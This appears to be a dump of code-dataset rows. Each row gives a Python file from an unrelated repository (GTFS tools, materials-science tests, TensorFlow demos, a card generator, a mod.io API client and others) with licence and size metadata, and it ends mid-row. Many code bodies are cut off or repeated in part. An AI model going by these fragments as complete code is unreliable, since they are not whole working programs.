import pytest from pandas.util.testing import assert_frame_equal from .context import gtfstk, slow, HAS_GEOPANDAS, DATA_DIR, cairns, cairns_shapeless from gtfstk import * if HAS_GEOPANDAS: from geopandas import GeoDataFrame @pytest.mark.skipif(not HAS_GEOPANDAS, reason="Requires GeoPandas") @pytest.mark.skipi...
39.731183
84
0.705277
import pytest from pandas.util.testing import assert_frame_equal from .context import gtfstk, slow, HAS_GEOPANDAS, DATA_DIR, cairns, cairns_shapeless from gtfstk import * if HAS_GEOPANDAS: from geopandas import GeoDataFrame def test_build_geometry_by_shape(): feed = cairns.copy() shape_ids = feed.shape...
3,122
0
135
9ba90e0d6af561bd028b5dbfdcacfd9b2dbbd0d9
2,314
py
Python
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
29
2020-08-04T07:07:04.000Z
2022-02-22T22:09:20.000Z
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
70
2021-02-22T07:01:40.000Z
2022-03-31T20:11:56.000Z
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
3
2021-04-20T09:29:39.000Z
2022-02-02T17:43:52.000Z
""" Tests for GibbsEntrySet. """ import pytest from pymatgen.analysis.phase_diagram import PhaseDiagram from rxn_network.entries.entry_set import GibbsEntrySet @pytest.mark.parametrize( "e_above_hull, expected_phases", [ ( 0.030, { "Mn", "Mn2O3"...
25.152174
83
0.524201
""" Tests for GibbsEntrySet. """ import pytest from pymatgen.analysis.phase_diagram import PhaseDiagram from rxn_network.entries.entry_set import GibbsEntrySet @pytest.mark.parametrize( "e_above_hull, expected_phases", [ ( 0.030, { "Mn", "Mn2O3"...
1,110
0
114
f257be8065138bc9e4fe7e7d54e3b0b4d32ac5cd
2,814
py
Python
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
import tensorflow as tf model = tf.keras.Sequential([ tf.keras.applications.resnet_v2.ResNet50V2(weights=None, input_shape=(32, 32, 3), include_top=False), tf.keras.layers.GlobalAveragePooling2D(), tf.keras.layers.Dense(1000, activation='softmax') ]) BATCH_SIZE = 16 train_loss = tf.keras...
30.923077
109
0.678394
import tensorflow as tf def map_func(example): feature_map = { 'data': tf.io.FixedLenFeature((), tf.string), 'label': tf.io.FixedLenFeature((), tf.int64) } parsed_example = tf.io.parse_single_example(example, features=feature_map) data = tf.io.decode_raw(parsed_example["data"], out_typ...
926
0
69
0e35cf32025ec33172656308b77700fee5a47089
19,391
py
Python
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
160
2015-02-24T04:28:38.000Z
2022-03-29T09:19:39.000Z
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
1,092
2015-01-16T05:27:10.000Z
2022-03-12T14:40:12.000Z
tools/cc4_update.py
rahulsai9550/creativecommons.org
5cad7e05329454cf1b366fff7407b9472773dc1f
[ "MIT" ]
208
2015-04-08T23:50:07.000Z
2022-02-18T23:36:54.000Z
#!/usr/bin/env python3 # vim: set fileencoding=utf-8: """Normalize file and add/update the language list at the bottom of all CC4 legalcode files. """ # Copyright 2016, 2017 Creative Commons # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
32.699831
79
0.558816
#!/usr/bin/env python3 # vim: set fileencoding=utf-8: """Normalize file and add/update the language list at the bottom of all CC4 legalcode files. """ # Copyright 2016, 2017 Creative Commons # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License...
1,583
6
95
1659984fe89ee0f6d1e2442e761be05cab634907
9,877
py
Python
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
1
2016-12-15T23:46:52.000Z
2016-12-15T23:46:52.000Z
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
3
2016-01-12T01:42:31.000Z
2016-03-28T23:31:53.000Z
BaBOC_CardGen.py
BitokuOokami/CardMachine
d927b062ca96af1313ec94de70053a1e069c20d0
[ "MIT" ]
4
2015-12-27T01:48:34.000Z
2019-10-19T03:42:51.000Z
import os, glob, shutil, traceback import PIL_Helper TYPE, TITLE, COLOR, VALUE, FLAVOR = range(5) DIRECTORY = "BaBOC" PAGE_WIDTH = 3 PAGE_HEIGHT = 3 TOTAL_CARDS = PAGE_WIDTH*PAGE_HEIGHT workspace_path = os.path.dirname("workspace") card_set = os.path.dirname("deck.cards") CardPath = "BaBOC/cards/" ResourcePath = "...
31.355556
115
0.61547
import os, glob, shutil, traceback import PIL_Helper TYPE, TITLE, COLOR, VALUE, FLAVOR = range(5) DIRECTORY = "BaBOC" PAGE_WIDTH = 3 PAGE_HEIGHT = 3 TOTAL_CARDS = PAGE_WIDTH*PAGE_HEIGHT workspace_path = os.path.dirname("workspace") card_set = os.path.dirname("deck.cards") CardPath = "BaBOC/cards/" ResourcePath = "...
6,555
0
488
13e7190058579ee80ddc8735dffc83dcdc2c0e93
2,278
py
Python
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
tests/core/test_trainer.py
pmeier/lightning-flash
7486c33fc1380968288c0d246cdfcebfafd54b5f
[ "Apache-2.0" ]
null
null
null
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
32.542857
80
0.709394
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
1,203
36
227
3216511217a7419f69af3a540b9e2c98ce0e9f5d
6,997
py
Python
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
MAT 271/Integrais.py
Hiago013/Ola-Mundo
87a34020a421bca535eacbfc4e9e4e1dd36f67be
[ "MIT" ]
null
null
null
import numpy as np from sympy import var, Lambda, exp, log, sin, cos, tan, sqrt, diff, solve ''' x = [0, 10, 20, 30, 50] y1 = [50.8, 86.2, 136, 72.8, 51] y2 = [113.6, 144.5, 185, 171.2, 95.3] y = np.array(y2) - np.array(y1) y1 = Integrais(1, 1, 1, pts=(x[3:], y[3:])) print(y1.num_trapezio()) y2...
27.547244
84
0.406031
import numpy as np from sympy import var, Lambda, exp, log, sin, cos, tan, sqrt, diff, solve class Integrais: def __init__(self, f, a, b, pts = None): if pts != None: self._x = np.array(pts[0]) self._y = np.array(pts[1]) self._f = f self._a = a self._b =...
6,284
-5
278
869e38d468579df2ba8c55f0af1ee8a7afc262f2
4,819
py
Python
collectors/ictrp/parser.py
almeidaah/collectors
f03096855b8d702969d22af0b20a4d6a0d820bd0
[ "MIT" ]
17
2016-06-28T21:20:21.000Z
2022-03-02T16:31:25.000Z
collectors/ictrp/parser.py
almeidaah/collectors
f03096855b8d702969d22af0b20a4d6a0d820bd0
[ "MIT" ]
41
2016-04-04T10:36:45.000Z
2017-04-24T10:04:57.000Z
collectors/ictrp/parser.py
kenferrara/collectors
e6c1f45df3a1ffd5d60dada1816484812eb51417
[ "MIT" ]
25
2016-05-18T09:27:42.000Z
2021-03-21T14:44:31.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging from .record import Record logger = logging.getLogger(__name__) # Module API
29.746914
85
0.6547
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging from .record import Record logger = logging.getLogger(__name__) # Module API def parse_record(res): # Init data data = ...
4,528
0
23
a1ff2da13e62c4a90e32e2a9ed39b7230f558c0b
202
py
Python
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
module_dict_f/exctract/try.py
caffeine110/DevanagariScript_mr
366b119c31732dc9cdbb8b9dbbd1e18d175521c6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 8 15:00:56 2018 @author: gaurav """ w1 = 'थव' word = 'का' for i in word: print(i) word[1] new = w1+word[1] print(new)
10.631579
35
0.554455
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 8 15:00:56 2018 @author: gaurav """ w1 = 'थव' word = 'का' for i in word: print(i) word[1] new = w1+word[1] print(new)
0
0
0
01441f63575f7f565966f165bb25e83d0d13c45f
4,319
py
Python
test/language/array_types/python/AutoArrayStructRecursionTest.py
dkBrazz/zserio
29dd8145b7d851fac682d3afe991185ea2eac318
[ "BSD-3-Clause" ]
86
2018-09-06T09:30:53.000Z
2022-03-27T01:12:36.000Z
test/language/array_types/python/AutoArrayStructRecursionTest.py
dkBrazz/zserio
29dd8145b7d851fac682d3afe991185ea2eac318
[ "BSD-3-Clause" ]
362
2018-09-04T20:21:24.000Z
2022-03-30T15:14:38.000Z
test/language/array_types/python/AutoArrayStructRecursionTest.py
dkBrazz/zserio
29dd8145b7d851fac682d3afe991185ea2eac318
[ "BSD-3-Clause" ]
20
2018-09-10T15:59:02.000Z
2021-12-01T15:38:22.000Z
import unittest import os import zserio from testutils import getZserioApi, getApiDir
39.623853
103
0.736745
import unittest import os import zserio from testutils import getZserioApi, getApiDir class AutoArrayStructRecursionTest(unittest.TestCase): @classmethod def setUpClass(cls): cls.api = getZserioApi(__file__, "array_types.zs").auto_array_struct_recursion def testBitSizeOfLength1(self): sel...
3,469
740
23
b561036ddbdca008574609b9875ca3d87723f157
933
py
Python
conceptus/core/tests/test_editar.py
eltonjncorreia/estabelecimentos
a758e1ea3f8e2026e1b56a6ef5904ba3da766997
[ "MIT" ]
null
null
null
conceptus/core/tests/test_editar.py
eltonjncorreia/estabelecimentos
a758e1ea3f8e2026e1b56a6ef5904ba3da766997
[ "MIT" ]
null
null
null
conceptus/core/tests/test_editar.py
eltonjncorreia/estabelecimentos
a758e1ea3f8e2026e1b56a6ef5904ba3da766997
[ "MIT" ]
null
null
null
from django.test import TestCase from django.shortcuts import resolve_url as r from conceptus.core.forms import StoreModelForm from conceptus.core.models import Store
34.555556
81
0.606645
from django.test import TestCase from django.shortcuts import resolve_url as r from conceptus.core.forms import StoreModelForm from conceptus.core.models import Store class EditarTest(TestCase): def setUp(self): self.obj = Store.objects.create(nome='Americana', des...
628
6
130
4018a0dab09c4076f5aaaa7a3b1a342ba466dfd8
3,890
py
Python
ModManager.py/modio.py
ncguy2/Miscellaneous-tools
422e85fb4786a6a1366acc0447d56c54451e7661
[ "MIT" ]
null
null
null
ModManager.py/modio.py
ncguy2/Miscellaneous-tools
422e85fb4786a6a1366acc0447d56c54451e7661
[ "MIT" ]
null
null
null
ModManager.py/modio.py
ncguy2/Miscellaneous-tools
422e85fb4786a6a1366acc0447d56c54451e7661
[ "MIT" ]
null
null
null
import requests class ModioClient(object): """ A REST client for http://mod.io, hiding the ugly http requests behind a nice interface :) """ HEADERS = { 'Accept': 'application/json' } BASE_URL = "https://api.mod.io/v1" @staticmethod
26.827586
118
0.605913
import requests class ModioClient(object): """ A REST client for http://mod.io, hiding the ugly http requests behind a nice interface :) """ HEADERS = { 'Accept': 'application/json' } BASE_URL = "https://api.mod.io/v1" def __init__(self, api_key): self.api_key = api_key ...
2,658
513
441
6d769175da2439302299d3a81478cd67e4bf846a
378
py
Python
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
1
2016-05-19T13:43:21.000Z
2016-05-19T13:43:21.000Z
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
1
2020-11-23T10:21:16.000Z
2020-11-23T10:25:16.000Z
test/config_test.py
peitur/docker-util
6579c59b809a3dab80c440baa5fabc669cf88b9b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 import sys,os,re sys.path.append( "../lib" ) sys.path.append( "./lib" ) from Controller.message import * from Controller.local import * import unittest from pprint import pprint
16.434783
47
0.650794
#!/usr/bin/python3 import sys,os,re sys.path.append( "../lib" ) sys.path.append( "./lib" ) from Controller.message import * from Controller.local import * import unittest from pprint import pprint class ConfigurationTest( unittest.TestCase ): def setUp( self ): self.configfile = "samples/conf...
58
24
85
49d5e5c65d15967900773fda7f1a0ca23a5a247b
995
py
Python
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/tests/ShowSegmentRoutingTrafficEngPolicy/cli/equal/golden_output_8_expected.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
expected_output = { "SRTE_POL_1": { "name": "SRTE_POL_1", "color": 1, "end_point": "4.4.4.4", "owners": "CLI", "status": { "admin": "down", "operational": { "state": "down", "time_for_state": "00:00:06", ...
25.512821
53
0.277387
expected_output = { "SRTE_POL_1": { "name": "SRTE_POL_1", "color": 1, "end_point": "4.4.4.4", "owners": "CLI", "status": { "admin": "down", "operational": { "state": "down", "time_for_state": "00:00:06", ...
0
0
0
213e1a7b560720288d3f4be6cc46d4f9de5f1850
863
py
Python
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0003_auto_20220225_1628.py
crowdbotics-apps/myclub-33848
3f02f80851419194beb68f6b0caf7630ff10593f
[ "FTL", "AML", "RSA-MD" ]
null
null
null
# Generated by Django 2.2.26 on 2022-02-25 16:28 from django.db import migrations, models
25.382353
57
0.453071
# Generated by Django 2.2.26 on 2022-02-25 16:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("home", "0002_listecategorie_utilisateurs"), ] operations = [ migrations.CreateModel( name="Listerole", fields=[ ...
0
748
23
886db9ab6347860b315a89e23cb0cf0ae25b479d
1,324
py
Python
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
9
2020-10-25T15:13:32.000Z
2022-03-26T11:27:21.000Z
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
null
null
null
python-exercise300/171_180.py
sharebook-kr/learningspoons-bootcamp-finance
0288f3f3b39f54420e4e9987f1de12892dc680ea
[ "MIT" ]
7
2021-03-01T11:06:45.000Z
2022-03-14T07:06:04.000Z
# 171 # price_list = [32100, 32150, 32000, 32500] # for i in range(0, 4): # print(price_list[i]) # 172 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(i, price_list[i]) # 173 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(3-i, price_list[i]) # ...
21.704918
89
0.547583
# 171 # price_list = [32100, 32150, 32000, 32500] # for i in range(0, 4): # print(price_list[i]) # 172 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(i, price_list[i]) # 173 # price_list = [32100, 32150, 32000, 32500] # # for i in range(0, 4): # print(3-i, price_list[i]) # ...
0
0
0
cb878b00f7655e0a49ddfb46e48772d51f8e7621
1,424
py
Python
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
null
null
null
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
null
null
null
tests/test_counter.py
LeeiFrankJaw/pyspider
4bc69caa3a7ed98332e94d6ea52118694532e8c7
[ "Apache-2.0" ]
1
2020-03-05T18:54:38.000Z
2020-03-05T18:54:38.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<roy@binux.me> # http://binux.me # Created on 2015-04-05 00:05:58 import sys import time import unittest2 as unittest from pyspider.libs import counter
25.890909
53
0.582865
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<roy@binux.me> # http://binux.me # Created on 2015-04-05 00:05:58 import sys import time import unittest2 as unittest from pyspider.libs import counter class TestCounter(unittest.TestCase): def t...
1,006
16
130
238278b7afb620fcffaf96fa6cbd2410892d25c2
4,140
py
Python
xmlHandler.py
jaaack-wang/H-ELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
4
2021-08-30T18:03:39.000Z
2021-12-01T17:44:41.000Z
xmlHandler.py
jaaack-wang/HELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
null
null
null
xmlHandler.py
jaaack-wang/HELPtk
7113d5107997c4e52d7eaf93f0a5173de12c5027
[ "MIT" ]
null
null
null
''' - Author: Zhengxiang (Jack) Wang - Date: 2021-08-25 - GitHub: https://github.com/jaaack-wang - About: Some handy wrapper functions for handling xml files. ''' from bs4 import BeautifulSoup as bs from lxml import etree from os.path import join def readXML(filepath): ''''Reads XML files as bs4.BeautifulSoup t...
38.333333
102
0.643478
''' - Author: Zhengxiang (Jack) Wang - Date: 2021-08-25 - GitHub: https://github.com/jaaack-wang - About: Some handy wrapper functions for handling xml files. ''' from bs4 import BeautifulSoup as bs from lxml import etree from os.path import join def readXML(filepath): ''''Reads XML files as bs4.BeautifulSoup t...
0
0
0
0c15523364add779eaadb9da7571afc00c3bf2c8
6,511
py
Python
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
1
2020-05-23T08:23:26.000Z
2020-05-23T08:23:26.000Z
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
null
null
null
cirq/google/decompositions_test.py
sleichen/Cirq
02f715203406d1f2af2d86e7561af09a2cdd4d45
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
33.389744
79
0.68008
# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
4,831
0
365
8630d1f66a042343684fe82c8330fd4f3240433e
1,652
py
Python
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
1
2020-03-05T19:21:56.000Z
2020-03-05T19:21:56.000Z
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
null
null
null
sharpy/plans/acts/act_zerg_morph.py
MadManSC2/sharpy-sc2
13950357df2db58033daab24f076e3ae83f0b2a8
[ "MIT" ]
null
null
null
from sc2 import UnitTypeId from sc2.ids.ability_id import AbilityId from .act_base import ActBase # Act of researching a technology or upgrade
36.711111
93
0.634988
from sc2 import UnitTypeId from sc2.ids.ability_id import AbilityId from .act_base import ActBase # Act of researching a technology or upgrade class ActMorphBuilding(ActBase): def __init__(self, ability_type: AbilityId, from_unit: UnitTypeId, to_unit: UnitTypeId): assert ability_type is not None...
1,409
11
79
43d160c0d3df156e0b8e475c7350eb90339082b5
4,916
py
Python
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
4
2015-09-04T19:37:06.000Z
2016-11-23T12:35:48.000Z
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
8
2015-10-29T20:02:26.000Z
2021-06-10T19:07:26.000Z
data_api/migrations/0022_auto_20160406_0731.py
bwootton/Dator
80f736cf5d8d58312725a866ce04e03a6fefdb2c
[ "MIT" ]
4
2015-09-06T22:35:46.000Z
2019-06-03T13:20:48.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations
33.442177
114
0.558584
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('data_api', '0021_remove_experiment_media_link'), ] operations = [ migrations.CreateModel( name='LocalSignalTag',...
0
4,786
23
afc8898c061f509eb82b52191f7f8b343e3f2311
2,008
py
Python
test/api/test_activity.py
chartmogul/chartmogul-python
ebca3f79a5670cbebc8ba6cdde4081b4f6aa801b
[ "MIT" ]
9
2017-02-08T05:37:03.000Z
2022-03-05T16:37:05.000Z
test/api/test_activity.py
chartmogul/chartmogul-python
ebca3f79a5670cbebc8ba6cdde4081b4f6aa801b
[ "MIT" ]
39
2017-02-14T17:48:03.000Z
2022-03-21T08:27:18.000Z
test/api/test_activity.py
chartmogul/chartmogul-python
ebca3f79a5670cbebc8ba6cdde4081b4f6aa801b
[ "MIT" ]
9
2017-02-14T14:07:25.000Z
2021-03-12T13:25:08.000Z
import unittest from datetime import datetime import requests_mock from chartmogul import Config, Activity class ActivitiesTestCase(unittest.TestCase): """ Tests CustomerActivities """ @requests_mock.mock()
40.16
93
0.499004
import unittest from datetime import datetime import requests_mock from chartmogul import Config, Activity class ActivitiesTestCase(unittest.TestCase): """ Tests CustomerActivities """ @requests_mock.mock() def test_all(self, mock_requests): mock_requests.register_uri( 'GET',...
1,755
0
26
d55919176abcd6f33efc71f270196f01d2e722de
636
py
Python
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
1
2021-10-17T04:28:31.000Z
2021-10-17T04:28:31.000Z
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
null
null
null
controle_colaboradores_api/apps/perfis/urls.py
helderlgoliveira/controle-colaboradores-api
def3f77ef547e87b6f827cb711fd0f7d1099d987
[ "BSD-3-Clause" ]
null
null
null
from rest_framework.routers import DefaultRouter from .views import ( PerfilViewSet, EnderecoViewSet, TelefoneViewSet, OutroEmailViewSet, CargoViewSet, DepartamentoViewSet ) router = DefaultRouter() router.register(r'perfis', PerfilViewSet, basename='perfil') router.register(r'enderecos', Ende...
35.333333
79
0.789308
from rest_framework.routers import DefaultRouter from .views import ( PerfilViewSet, EnderecoViewSet, TelefoneViewSet, OutroEmailViewSet, CargoViewSet, DepartamentoViewSet ) router = DefaultRouter() router.register(r'perfis', PerfilViewSet, basename='perfil') router.register(r'enderecos', Ende...
0
0
0
f8a2dd270b85e548221820802800fbfb4dd416a9
42
py
Python
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
1
2021-07-18T17:30:20.000Z
2021-07-18T17:30:20.000Z
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
1
2020-03-11T00:46:34.000Z
2020-03-19T21:06:55.000Z
tests/__init__.py
marcsello/bettersocket
0e812d6d92f250265a7c54a385a1083e94285e63
[ "MIT" ]
null
null
null
"""Unit test package for bettersocket."""
21
41
0.714286
"""Unit test package for bettersocket."""
0
0
0
589913937e216faf535f315157b5abd5e5bb1478
7,171
py
Python
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
script/subtile.py
AarhusCosmology/concept1.0-data
3fb43eab9be2d605ab15688332ca8d161ae71015
[ "MIT" ]
null
null
null
import collections import numpy as np import matplotlib import matplotlib.gridspec import matplotlib.pyplot as plt import scipy.optimize from helper import load, mean8, cropsave, grendel_dir """ SUBTILE POPULATION N = 512³, nprocs = 64. Two panels (left & right, spanning two cols). Left: Subtile population at z = 0...
32.447964
112
0.683866
import collections import numpy as np import matplotlib import matplotlib.gridspec import matplotlib.pyplot as plt import scipy.optimize from helper import load, mean8, cropsave, grendel_dir """ SUBTILE POPULATION N = 512³, nprocs = 64. Two panels (left & right, spanning two cols). Left: Subtile population at z = 0...
0
0
0
a71f3a95d3ab73569da6d75bf36efccbdc6998a0
1,109
py
Python
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
phylogeny.py
robertnunn/teaching-aids
3a132bbe1e03ac982796b51b6adb35c437b21428
[ "MIT" ]
null
null
null
# find the species that should be the outgroup based solely on DNA sequence data # given in "phylo seqs.txt". Assumes the sequences are already aligned. # # python 3.6 # Oct 21, 2017 from my_lib import load_list from pprint import pprint as pp seqs = load_list("phylo seqs2.txt") seqs[0] = seqs[0][1:] pp(...
21.745098
81
0.622182
# find the species that should be the outgroup based solely on DNA sequence data # given in "phylo seqs.txt". Assumes the sequences are already aligned. # # python 3.6 # Oct 21, 2017 from my_lib import load_list from pprint import pprint as pp seqs = load_list("phylo seqs2.txt") seqs[0] = seqs[0][1:] pp(...
194
0
25
6f9f5b3f9978bc78d24370b5f8a1ad6b41521466
274
py
Python
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
scripts/base_model.py
aagusti/geo
e6ac0736619a57c7887baf89513ad77883edbfa9
[ "MIT" ]
null
null
null
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.orm import ( scoped_session, sessionmaker, relationship, backref ) DBSession = scoped_session(sessionmaker()) Base = declarative_base()
22.833333
55
0.773723
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm.exc import NoResultFound from sqlalchemy.orm import ( scoped_session, sessionmaker, relationship, backref ) DBSession = scoped_session(sessionmaker()) Base = declarative_base()
0
0
0
3e4520a78c0329a2479439fbe9f6c59cd5235415
1,974
py
Python
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
14
2015-05-20T16:07:17.000Z
2021-11-16T12:47:27.000Z
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
null
null
null
incremental_backups_tools/sigvault.py
tsileo/incremental-backups-tools
2c03ea6fd93bdf044b20e1eadd7beab41a398038
[ "MIT" ]
3
2015-10-19T11:06:01.000Z
2021-12-13T06:24:59.000Z
# -*- coding: utf-8 -*- import tarfile import os from tempfile import NamedTemporaryFile import librsync from dirtools import Dir class SigVault(object): """ Helper for choosing SigVault{Reader/Writer}. """ @classmethod bltn_open = open open_vault = SigVault.open
29.462687
73
0.579027
# -*- coding: utf-8 -*- import tarfile import os from tempfile import NamedTemporaryFile import librsync from dirtools import Dir class SigVaultWriter(object): def __init__(self, path, base_path): self.base_path = base_path self.archive = bltn_open(path, 'wb') self.tar = tarfile.open(fil...
1,474
16
205
81cba6209ba95d57d48ac01dfadd09a0c56cf8c8
727
py
Python
slackcast/logger.py
rbdixon/slackcast
